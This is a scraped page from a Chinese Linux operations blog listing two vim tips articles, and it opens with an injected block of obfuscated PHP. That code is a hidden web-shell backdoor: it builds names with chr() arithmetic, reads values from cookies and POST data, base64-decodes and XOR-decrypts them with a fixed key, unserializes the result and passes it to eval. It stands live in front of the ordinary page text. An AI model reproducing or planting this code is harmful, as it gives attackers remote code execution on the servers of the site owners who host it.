$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} vim技巧 | Linux运维部落

vim技巧

  • vim简单实用的技巧总结

    vi 和 vim无需过多的区分,vim可认为是vi的增强版。        这篇关于vim的手册,我个人觉得实在无法把它写成文章,只能以手册的方式列举出来,因为,vim是一个动手使用的工具,只能在使用中你才能慢慢发现它的操作多么符合逻辑,我从下面这些简略的描述中,尽量将它的操作步骤写出来,但更重要的…

    Linux干货 2015-09-14
  • vim使用方法

    vim是vi的增强版本,具有比vimi更加强大的功能,对于尤其适合编写脚本,下面总结一下vim的常用方法。 vim三种工作模式。         1. 编辑模式:          &nbs…

    2015-03-18